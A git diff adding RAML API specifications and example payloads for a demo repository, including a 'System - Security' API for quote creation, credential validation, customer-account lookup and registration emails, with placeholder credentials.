diff --git a/demo/apis/SE-11155/examples/users-post-cds-202.raml b/demo/apis/SE-11155/examples/users-post-cds-202.raml
new file mode 100644
index 0000000..a21034d
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-post-cds-202.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 NamedExample
+users-post-202-cds-response-example:
+ - context: response
+ code: HTTP 202
+ short-description: 2 user records have been accepted to be created later
+ - context: confirmation
+ code: "123456789"
+ short-description: confirmation of record 1
+ - context: confirmation
+ code: 1234aaaa
+ short-description: confirmation of record 2
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-post-multi-200.raml b/demo/apis/SE-11155/examples/users-post-multi-200.raml
new file mode 100644
index 0000000..436c467
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-post-multi-200.raml
@@ -0,0 +1,47 @@
+#%RAML 1.0 NamedExample
+users-post-multiple-input-200-response-example:
+ - user-id: ABCD1234
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
+ - user-id: ABCD1235
+ user-name: John Remedy
+ user-date-of-birth: 2001-11-30
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
+ - user-id: ABCD1236
+ user-name: Tim Allen
+ user-date-of-birth: 1981-12-30
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-post-multi.raml b/demo/apis/SE-11155/examples/users-post-multi.raml
new file mode 100644
index 0000000..48ea38b
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-post-multi.raml
@@ -0,0 +1,44 @@
+#%RAML 1.0 NamedExample
+users-post-multiple-input-request-example:
+ - user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
+ - user-name: John Remedy
+ user-date-of-birth: 2001-11-30
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
+ - user-name: Tim Allen
+ user-date-of-birth: 1981-12-30
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-post-single-200.raml b/demo/apis/SE-11155/examples/users-post-single-200.raml
new file mode 100644
index 0000000..2ea8128
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-post-single-200.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 NamedExample
+users-post-single-input-200-response-example:
+ - user-id: ABCD1234
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-post-single.raml b/demo/apis/SE-11155/examples/users-post-single.raml
new file mode 100644
index 0000000..e4d46ca
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-post-single.raml
@@ -0,0 +1,16 @@
+#%RAML 1.0 NamedExample
+users-post-single-input-request-example:
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/libraries/library.raml b/demo/apis/SE-11155/libraries/library.raml
new file mode 100644
index 0000000..7fe0423
--- /dev/null
+++ b/demo/apis/SE-11155/libraries/library.raml
@@ -0,0 +1,16 @@
+#%RAML 1.0 Library
+types:
+ error: !include ../1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml
+ code-description: !include ../1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml
+ code-descriptions: code-description[]
+
+resourceTypes:
+ health-check-get: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml
+ applicable-to-collections: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml
+ applicable-to-items: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml
+ applicable-to-collection-actions: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml
+ applicable-to-item-actions: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml
+
+
+securitySchemes:
+ basic: !include ../1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml
\ No newline at end of file
diff --git a/demo/SE-11415/SE-11415.raml b/demo/apis/SE-11415/SE-11415.raml
similarity index 100%
rename from demo/SE-11415/SE-11415.raml
rename to demo/apis/SE-11415/SE-11415.raml
diff --git a/demo/SE-11415/canda-commons/canda-commons.raml b/demo/apis/SE-11415/canda-commons/canda-commons.raml
similarity index 100%
rename from demo/SE-11415/canda-commons/canda-commons.raml
rename to demo/apis/SE-11415/canda-commons/canda-commons.raml
diff --git a/demo/SE-11415/canda-commons/ref/log-levels-example.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-example.json
similarity index 100%
rename from demo/SE-11415/canda-commons/ref/log-levels-example.json
rename to demo/apis/SE-11415/canda-commons/ref/log-levels-example.json
diff --git a/demo/SE-11415/canda-commons/ref/log-levels-response-example.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-response-example.json
similarity index 100%
rename from demo/SE-11415/canda-commons/ref/log-levels-response-example.json
rename to demo/apis/SE-11415/canda-commons/ref/log-levels-response-example.json
diff --git a/demo/SE-11415/canda-commons/ref/log-levels-response-schema.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-response-schema.json
similarity index 100%
rename from demo/SE-11415/canda-commons/ref/log-levels-response-schema.json
rename to demo/apis/SE-11415/canda-commons/ref/log-levels-response-schema.json
diff --git a/demo/SE-11415/canda-commons/ref/log-levels-schema.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-schema.json
similarity index 100%
rename from demo/SE-11415/canda-commons/ref/log-levels-schema.json
rename to demo/apis/SE-11415/canda-commons/ref/log-levels-schema.json
diff --git a/demo/SE-11415/ref/additions-example.json b/demo/apis/SE-11415/ref/additions-example.json
similarity index 100%
rename from demo/SE-11415/ref/additions-example.json
rename to demo/apis/SE-11415/ref/additions-example.json
diff --git a/demo/SE-11415/ref/additions-schema.json b/demo/apis/SE-11415/ref/additions-schema.json
similarity index 100%
rename from demo/SE-11415/ref/additions-schema.json
rename to demo/apis/SE-11415/ref/additions-schema.json
diff --git a/demo/SE-11415/ref/companies-example.json b/demo/apis/SE-11415/ref/companies-example.json
similarity index 100%
rename from demo/SE-11415/ref/companies-example.json
rename to demo/apis/SE-11415/ref/companies-example.json
diff --git a/demo/SE-11415/ref/companies-schema.json b/demo/apis/SE-11415/ref/companies-schema.json
similarity index 100%
rename from demo/SE-11415/ref/companies-schema.json
rename to demo/apis/SE-11415/ref/companies-schema.json
diff --git a/demo/SE-11415/ref/greeting-example.json b/demo/apis/SE-11415/ref/greeting-example.json
similarity index 100%
rename from demo/SE-11415/ref/greeting-example.json
rename to demo/apis/SE-11415/ref/greeting-example.json
diff --git a/demo/SE-11415/ref/greeting-schema.json b/demo/apis/SE-11415/ref/greeting-schema.json
similarity index 100%
rename from demo/SE-11415/ref/greeting-schema.json
rename to demo/apis/SE-11415/ref/greeting-schema.json
diff --git a/demo/SE-11415/ref/greetings-example.json b/demo/apis/SE-11415/ref/greetings-example.json
similarity index 100%
rename from demo/SE-11415/ref/greetings-example.json
rename to demo/apis/SE-11415/ref/greetings-example.json
diff --git a/demo/SE-11415/ref/greetings-schema.json b/demo/apis/SE-11415/ref/greetings-schema.json
similarity index 100%
rename from demo/SE-11415/ref/greetings-schema.json
rename to demo/apis/SE-11415/ref/greetings-schema.json
diff --git a/demo/SE-11415/ref/jms-message-response-exmaple.json b/demo/apis/SE-11415/ref/jms-message-response-exmaple.json
similarity index 100%
rename from demo/SE-11415/ref/jms-message-response-exmaple.json
rename to demo/apis/SE-11415/ref/jms-message-response-exmaple.json
diff --git a/demo/SE-11415/ref/log-levels-example.json b/demo/apis/SE-11415/ref/log-levels-example.json
similarity index 100%
rename from demo/SE-11415/ref/log-levels-example.json
rename to demo/apis/SE-11415/ref/log-levels-example.json
diff --git a/demo/SE-11415/ref/log-levels-response-example.json b/demo/apis/SE-11415/ref/log-levels-response-example.json
similarity index 100%
rename from demo/SE-11415/ref/log-levels-response-example.json
rename to demo/apis/SE-11415/ref/log-levels-response-example.json
diff --git a/demo/SE-11415/ref/log-levels-response-schema.json b/demo/apis/SE-11415/ref/log-levels-response-schema.json
similarity index 100%
rename from demo/SE-11415/ref/log-levels-response-schema.json
rename to demo/apis/SE-11415/ref/log-levels-response-schema.json
diff --git a/demo/SE-11415/ref/log-levels-schema.json b/demo/apis/SE-11415/ref/log-levels-schema.json
similarity index 100%
rename from demo/SE-11415/ref/log-levels-schema.json
rename to demo/apis/SE-11415/ref/log-levels-schema.json
diff --git a/demo/apis/SE-11508/SE-11508.raml b/demo/apis/SE-11508/SE-11508.raml
new file mode 100644
index 0000000..e55c6d5
--- /dev/null
+++ b/demo/apis/SE-11508/SE-11508.raml
@@ -0,0 +1,257 @@
+#%RAML 1.0
+baseUri: /security/v1
+title: System - Security
+version: v1
+mediaType: application/json
+
+uses:
+ convert-aggregator-quote-model: model-system/convert-aggregator-quote-types.raml
+ credentials-model: model-system/change-credentials-type.raml
+ retrieve-quotes-model: model-system/retrieve-quotes-types.raml
+ create-quote-model: model-system/create-quote-types.raml
+ ping-customer-accounts-model: model-system/customer-accounts-types.raml
+ ping-validate-credentials: model-system/ping-validate-credentials.raml
+ ping-error-messages: model-system/ping-error-messages-types.raml
+ error-model: exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml
+
+traits:
+ api-headers : !include model-system/api-headers.raml
+ api-strict-headers: !include model-system/api-strict-headers.raml
+ bad-responses: !include exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml
+
+
+securitySchemes:
+ auth: !include exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml
+
+securedBy: [auth]
+
+/convertaggregatorquote:
+ post:
+ is: [api-headers, bad-responses]
+ description: Used to create a P quote from a click-through URL.
+ body:
+ application/json:
+ type: convert-aggregator-quote-model.AggregatorCreateQuote
+ responses:
+ 201:
+ body:
+ type: convert-aggregator-quote-model.CreatedQuote
+ examples: !include examples/convert-aggregator-quote-post-201.raml
+
+/changecredentials:
+ post:
+ is: [ api-headers, bad-responses ]
+ description: Used to update credentials.
+ body:
+ application/json:
+ type: credentials-model.UpdateCredentials
+ examples: !include examples/change-credentials-post-201.raml
+ responses:
+ 201:
+
+/retrievequotes:
+ post:
+ is: [ api-headers, bad-responses ]
+ description: Used to retrieve quotes for valid account.
+ body:
+ application/json:
+ type: retrieve-quotes-model.RetrieveQuotesRequest
+ responses:
+ 200:
+ body:
+ type: retrieve-quotes-model.RetrieveQuotesResponse
+ examples: !include examples/retrieve-quotes-post-200.raml
+
+/createquote:
+ post:
+ is: [ api-headers, bad-responses ]
+ description: Functional endpoint used to check if an account with a policy exists and, if it doesn't, create a new account/quote with a blank vehicle.
+ body:
+ application/json:
+ type: create-quote-model.CreateQuotePostRequest
+ examples: !include examples/create-quote-post-request.raml
+ responses:
+ 200:
+ description: response returned if the account matches
+ body:
+ type: create-quote-model.CreateQuotePostMatchedResponse
+ examples: !include examples/create-quote-post-200.raml
+
+ 201:
+ description: response returned if the account has been created since it was not matching any existing one
+ body:
+ type: create-quote-model.CreateQuotePostCreatedResponse
+ examples: !include examples/create-quote-post-201.raml
+
+/validatecredentials:
+ post:
+ is: [api-strict-headers]
+ description: used to validate the user credentials (email and password). The successful response includes all the customer accounts that match the email where one of them also has the same password as the one passed in. It will also return a ping user id if one is associated with any customer accounts in disc.
+
+ body:
+ properties:
+ email:
+ type: string
+ required: true
+ maxLength: 50
+ pattern: ^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b$
+ password:
+ type: string
+ required: true
+
+ example:
+ email: "jsmith@provider.com"
+ password: "XXXXXXXX"
+
+ responses:
+ 200:
+ description: the customer accounts that match the email where one of them also has the same password as the one passed in, plus a ping user id if one is associated with any customer accounts in DISC
+ body:
+ type: ping-validate-credentials.PingValidateCredentialsResponse[]
+ examples: !include examples/validate-credentials-post-200.raml
+
+ 400:
+ description: Bad request with empty body if the RAML contract is violated. Otherwise specific error messages will be returned
+ body:
+ type: ping-error-messages.PingErrorMessagesResponse
+ example:
+ messages:
+ - # match not found
+ code: "BGLXXXX"
+ description: "Could not validate email and password"
+
+ 500:
+ description: Internal Server Error
+
+
+/validatecustomeraccounthash:
+ post:
+ is: [api-strict-headers, bad-responses]
+ description: used after a sales journey to verify if the customer account exists, so it can then be registered in ping.
+
+ body:
+ application/json:
+ properties:
+ encryptedHash:
+ type: string
+ required: true
+ examples: !include examples/validate-customer-account-hash-post-request.raml
+
+ responses:
+ 200:
+ description: the list of the matched customer accounts
+ body:
+ type: ping-customer-accounts-model.ValidateCustomerAccountMatchedResponse
+ examples: !include examples/validate-customer-account-post-200.raml
+
+ 400:
+ description: Bad Request if the hash cannot be decrypted or the timestamp is out of date
+ body:
+ application/json:
+ type: error-model.Error
+ examples: !include examples/validate-customer-account-hash-post-400.raml
+
+
+/customeraccounts:
+ get:
+ is: [api-strict-headers]
+ description: used to retrieve the list of the Customer Accounts filtered by email address. This API is used as part of the registration flow to identify any other accounts associated with the email so they can be synched with the PING registry.
+
+ queryParameters:
+ emailaddress:
+ type: string
+ required: true
+ maxLength: 50
+ pattern: ^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b$
+ example: "hello@provider.co.uk"
+
+ responses:
+ 200:
+ description: the list of the matched customer accounts
+ body:
+ type: ping-customer-accounts-model.PingCustomerAccount[]
+ examples: !include examples/customer-accounts-get-200.raml
+
+ 400:
+ description: Bad request
+
+ 500:
+ description: Internal Server Error
+
+
+ /{customeraccountid}:
+ uriParameters:
+ customeraccountid:
+ type: string
+ minLength: 9
+ maxLength: 9
+ example: "123456789"
+
+ patch:
+ is: [ api-strict-headers , bad-responses ]
+ description: This is used to sync disc with the ping user id and sync all customer accounts to the same email and password. Ping will be required to call this for each customer account id.
+ body:
+ type: ping-customer-accounts-model.PatchPingCustomerAccountRequest
+ examples: !include examples/customer-accounts-patch-request.raml
+
+ responses:
+ 204:
+ description: Success. PING user id, email, password where updated.
+
+ /initialregistration:
+ post:
+ is: [ api-strict-headers , bad-responses ]
+ description: This is to perform the initial registration of the customer account. This API is used as part of the registration process to setup any new customer in the OLSS system. If the customer is already setup in OLSS then this service will return success.
+ body:
+ properties:
+ encryptedPassword:
+ type: string
+ required: true
+ example: "XXXXX"
+
+ responses:
+ 200:
+ description: Success. The account was created or already existed in OLSS.
+
+ /sendcorrespondence:
+ post:
+ is: [ api-strict-headers , bad-responses ]
+ description: used as part of the registration process to inform the disc system to send emails to the customer. These emails are use to confirm things like registration was successful.
+ body:
+ properties:
+ correspondenceTypeCode:
+ type:
+ enum: [ registration-confirmation, forgotten-password, password-reset-confirmation, change-password-confirmation, change-email-confirmation, email-verification ]
+ required: true
+ callbackUrl:
+ type: string
+ required: false
+
+ examples: !include examples/send-correspondence-post-request.raml
+ responses:
+ 200:
+ description: Success. Email sent.
+
+ /validate:
+ post:
+ is: [api-strict-headers, bad-responses]
+ description: This API is used to verify if the customer account
+ body:
+ application/json:
+ type: ping-customer-accounts-model.ValidateCustomerAccountMatchedRequest
+ examples: !include examples/validate-customer-account-post-request.raml
+ responses:
+ 200:
+ description: response returned if the account matches
+ body:
+ type: ping-customer-accounts-model.ValidateCustomerAccountMatchedResponse
+ examples: !include examples/validate-customer-account-post-200.raml
+
+ 400:
+ description: Bad request
+ body:
+ application/json:
+ type: error-model.Error
+ examples: !include examples/validate-customer-account-post-400.raml
+
+
diff --git a/demo/apis/SE-11508/examples/change-credentials-post-201.raml b/demo/apis/SE-11508/examples/change-credentials-post-201.raml
new file mode 100644
index 0000000..0d8d9b1
--- /dev/null
+++ b/demo/apis/SE-11508/examples/change-credentials-post-201.raml
@@ -0,0 +1,9 @@
+#%RAML 1.0 NamedExample
+
+updateCredentials:
+ displayName: Update Credentials
+ value:
+ encryptedPassword : "xxxxxxx"
+ newEncryptedPassword : "xxxxx"
+ newUserName : "test@email.com"
+
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml b/demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml
new file mode 100644
index 0000000..1b4fa16
--- /dev/null
+++ b/demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml
@@ -0,0 +1,19 @@
+#%RAML 1.0 NamedExample
+
+no-match-customer:
+ displayName: A to P quote without matched Customer
+ value:
+ referenceId: "P8T000027"
+ quoteId: "P8T000027-01"
+ source: "moneysupermarket"
+ existingCustomer: false
+
+match-customer:
+ displayName: A to P quote with matched Customer
+ value:
+ referenceId: "118806474"
+ source: "Compare the Market"
+ existingCustomer: true
+ title: "Mr"
+ firstName: "Test"
+ lastName: "Name"
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/create-quote-post-200.raml b/demo/apis/SE-11508/examples/create-quote-post-200.raml
new file mode 100644
index 0000000..c4e576f
--- /dev/null
+++ b/demo/apis/SE-11508/examples/create-quote-post-200.raml
@@ -0,0 +1,12 @@
+#%RAML 1.0 NamedExample
+
+createQuotePostMatchedExample:
+ displayName: An example of the POST Response for createquote, when the account matches the one in the request
+ value:
+ customerAccountId: "WES456789"
+ quoteId: "WES456789-01"
+ titleCode: "MR"
+ title: "Mr"
+ firstName: "John"
+ lastName: "Doe"
+ existingCustomer: true
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/create-quote-post-201.raml b/demo/apis/SE-11508/examples/create-quote-post-201.raml
new file mode 100644
index 0000000..ca9bb43
--- /dev/null
+++ b/demo/apis/SE-11508/examples/create-quote-post-201.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 NamedExample
+
+createQuotePostCreatedExample:
+ displayName: An example of the POST Response for createquote, when the account has been created
+ value:
+ customerAccountId: "WES456789"
+ quoteId: "WES456789-01"
+ existingCustomer: false
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/create-quote-post-request.raml b/demo/apis/SE-11508/examples/create-quote-post-request.raml
new file mode 100644
index 0000000..a52a52b
--- /dev/null
+++ b/demo/apis/SE-11508/examples/create-quote-post-request.raml
@@ -0,0 +1,19 @@
+#%RAML 1.0 NamedExample
+
+createQuotePostRequestExample:
+ displayName: An example of the POST Request for createquote
+ value:
+ titleCode: "MR"
+ firstName: "John"
+ lastName: "Doe"
+ dateOfBirth: "2001-01-01"
+ maritalStatusCode: "M"
+ addressLine1: "Dun-roamin"
+ addressLine2: "1 Back Gate"
+ addressLine3: "Victoria St"
+ addressLine4: "Spalding"
+ addressLine5: "Lincolnshire"
+ postCode: "PE11 1EA"
+ maskCode: "ABC"
+ product: "Car"
+ clientId: "5656565656565"
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/customer-accounts-get-200.raml b/demo/apis/SE-11508/examples/customer-accounts-get-200.raml
new file mode 100644
index 0000000..d6ffdea
--- /dev/null
+++ b/demo/apis/SE-11508/examples/customer-accounts-get-200.raml
@@ -0,0 +1,41 @@
+#%RAML 1.0 NamedExample
+
+multiple_customer_accounts_list_all_olss_registered:
+ displayName: GET response example with multiple customer accounts found
+ value:
+ - #1st element
+ id: "123456789"
+ dateOfBirth: "1970-01-01"
+ olssRegistered: true
+ - #2nd element
+ id: "123456799"
+ dateOfBirth: "1970-01-01"
+ olssRegistered: true
+
+multiple_customer_accounts_list_all_non_olss_registered:
+ displayName: GET response example with multiple customer accounts found
+ value:
+ - #1st element
+ id: "123456789"
+ dateOfBirth: "1970-01-01"
+ olssRegistered: false
+ - #2nd element
+ id: "123456799"
+ dateOfBirth: "1970-01-01"
+ olssRegistered: false
+
+multiple_customer_accounts_list_mixed:
+ displayName: GET response example with multiple customer accounts found
+ value:
+ - #1st element
+ id: "123456789"
+ dateOfBirth: "1970-01-01"
+ olssRegistered: true
+ - #2nd element
+ id: "123456799"
+ dateOfBirth: "1970-01-01"
+ olssRegistered: false
+
+empty_customer_accounts_list:
+ displayName: GET response example with no customer accounts found
+ value: []
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/customer-accounts-patch-request.raml b/demo/apis/SE-11508/examples/customer-accounts-patch-request.raml
new file mode 100644
index 0000000..93e96d9
--- /dev/null
+++ b/demo/apis/SE-11508/examples/customer-accounts-patch-request.raml
@@ -0,0 +1,31 @@
+#%RAML 1.0 NamedExample
+
+userId_only_request:
+ displayName: PATCH Request with only userId
+ value:
+ userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+
+userId_and_email_request:
+ displayName: PATCH Request with userId and email
+ value:
+ userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+ email: "jsmith@provider.com"
+
+userId_and_encryptedPassword_request:
+ displayName: PATCH Request with userId and encryptedPassword
+ value:
+ userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+ encryptedPassword: "XXXXXXXX"
+
+userId_email_and_encryptedPassword_request:
+ displayName: PATCH Request with email and encryptedPassword
+ value:
+ userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+ email: "jsmith@provider.com"
+ encryptedPassword: "XXXXXXXX"
+
+email_and_encryptedPassword_request:
+ displayName: PATCH Request with email and encryptedPassword
+ value:
+ email: "jsmith@provider.com"
+ encryptedPassword: "XXXXXXXX"
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml b/demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml
new file mode 100644
index 0000000..1588a8f
--- /dev/null
+++ b/demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 NamedExample
+
+validCredentials:
+ displayName: Valid Credentials Api Customer
+ value:
+ customerAccountId : "123456789"
+ quoteId : "TED456789-01"
+ isTE : true
+ affinityCode : "BIS1"
+
+validCredentialsOLSS:
+ displayName: Valid Credentials OLSS
+ value:
+ customerAccountId : "123456789"
+ quoteId : "123456789-01"
+ isTE : false
+ affinityCode : "BIS1"
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/send-correspondence-post-request.raml b/demo/apis/SE-11508/examples/send-correspondence-post-request.raml
new file mode 100644
index 0000000..556ad23
--- /dev/null
+++ b/demo/apis/SE-11508/examples/send-correspondence-post-request.raml
@@ -0,0 +1,34 @@
+#%RAML 1.0 NamedExample
+
+registration_confirmation_with_no_callback_request:
+ displayName: POST Request where correspondence is of type "registration-confirmation" with no callback URL.
+ value:
+ correspondenceTypeCode: "registration-confirmation"
+
+forgotten_password_with_callback_request:
+ displayName: POST Request where correspondence is of type "forgotten-password" and a callback URL is provided.
+ value:
+ correspondenceTypeCode: "forgotten-password"
+ callbackUrl: "http://pingurl/forgottenpassword"
+
+password_reset_confirmation_with_callback_request:
+ displayName: POST Request where correspondence is of type "password-reset-confirmation" and a callback URL is provided.
+ value:
+ correspondenceTypeCode: "password-reset-confirmation"
+ callbackUrl: "http://pingurl/resetpassword"
+
+change_password_confirmation_with_no_callback_request:
+ displayName: POST Request where correspondence is of type "change-password-confirmation" and no callback URL.
+ value:
+ correspondenceTypeCode: "change-password-confirmation"
+
+change_email_confirmation_with_no_callback_request:
+ displayName: POST Request where correspondence is of type "change-email-confirmation" and no callback URL.
+ value:
+ correspondenceTypeCode: "change-email-confirmation"
+
+email_verification_with_callback_request:
+ displayName: POST Request where correspondence is of type "email-verification" and a callback URL.
+ value:
+ correspondenceTypeCode: "email-verification"
+ callbackUrl: "http://pingurl/emailverified"
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/validate-credentials-post-200.raml b/demo/apis/SE-11508/examples/validate-credentials-post-200.raml
new file mode 100644
index 0000000..9a3a3d1
--- /dev/null
+++ b/demo/apis/SE-11508/examples/validate-credentials-post-200.raml
@@ -0,0 +1,30 @@
+#%RAML 1.0 NamedExample
+
+no_ping_userId_and_multiple_customer_returned_example:
+ displayName: Validate Credentials successful response with no userId
+ value:
+ - #1st entry
+ customerAccountId: "123456789"
+ passwordMatched: true
+ - #2nd entry
+ customerAccountId: "123456799"
+ passwordMatched: true
+
+ping_userId_and_one_customer_returned_example:
+ displayName: Validate Credentials successful single response with userId
+ value:
+ - #1st entry
+ customerAccountId: "123456789"
+ userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+ passwordMatched: false
+
+ping_userId_and_multiple_customer_returned_example:
+ displayName: Validate Credentials successful multiple response with one userId
+ value:
+ - #1st entry
+ customerAccountId: "123456789"
+ userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+ passwordMatched: true
+ - #2nd entry
+ customerAccountId: "123456799"
+ passwordMatched: false
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml
new file mode 100644
index 0000000..bb61759
--- /dev/null
+++ b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml
@@ -0,0 +1,10 @@
+#%RAML 1.0 NamedExample
+
+400_badrequest_validate_customer_account_hash:
+ displayName: A bad request for Customer Account Hash
+ description: A bad request generated by the API
+ value:
+ messages:
+ -
+ code: APIXXXX
+ description: "The timestamp is out of date"
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml
new file mode 100644
index 0000000..2741b65
--- /dev/null
+++ b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+
+validate_customer_account_hash_request:
+ displayName: A POST Validate Customer Account Hash Request Example
+ description: A POST Validate Customer Account Hash Request Example
+ value:
+ encryptedHash: "XXXXXXXXX"
\ No newline at end of file
diff --git a/demo/apis/SE-11508/examples/validate-customer-account-post-200.raml b/demo/apis/SE-11508/examples/validate-customer-account-post-200.raml
new file mode 100644
index 0000000..035e8e3
--- /dev/null
+++ b/demo/apis/SE-11508/examples/validate-customer-account-post-200.raml
@@ -0,0 +1,76 @@
+#%RAML 1.0 NamedExample
+
+validateCustomerAccountSinglePolicyResponse:
+ displayName: Validate Customer Account Single Policy Response
+ value:
+ userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+ customerAccountId: "123456789"
+ title: "MR"
+ firstName: "John"
+ lastName: "Smith"
+ email: "jsmith@provider.com"
+ policies:
+ -
+ id: "123456789-01"
+ description: "Ford Fiesta 2015"
+ startDate: "2019-01-01"
+
+validateCustomerAccountMultiplePolicyResponse:
+ displayName: Validate Customer Account Multiple Policy Response
+ value:
+ userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+ customerAccountId: "123456789"
+ title: "MR"
+ firstName: "John"
+ lastName: "Smith"
+ email: "jsmith@provider.com"
+ policies:
+ -
+ id: "123456789-01"
+ description: "Ford Fiesta 2015"
+ startDate: "2019-01-01"
+ -
+ id: "123456789-02"
+ description: "15 High Street, Derby DE1 4DS"
+ startDate: "2019-02-01"
+
+validateCustomerAccountContainsEmailNoPingIdResponse:
+ displayName: Validate Customer Account Response Email is Populated, No PingId
+ value:
+ customerAccountId : "123456789"
+ title : "MR"
+ firstName : "John"
+ lastName : "Smith"
+ email: "jsmith@provider.com"
+ policies:
+ -
+ id: "123456789-01"
+ description: "Ford Fiesta 2015"
+ startDate: "2019-01-01"
+
+validateCustomerAccountContainsPingIdNoEmailResponse:
+ displayName: Validate Customer Account Response PingId is Populated, No Email
+ value:
+ userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4"
+ customerAccountId : "123456789"
+ title : "MR"
+ firstName : "John"
+ lastName : "Smith"
+ policies:
+ -
+ id: "123456789-01"
+ description: "Ford Fiesta 2015"
+ startDate: "2019-01-01"
+
+validateCustomerAccountContainsNoPingIdNoEmailResponse:
+ displayName: Validate Customer Account Response PingId is Populated, No Email
+ value:
+ customerAccountId : "123456789"
+ title : "MR"
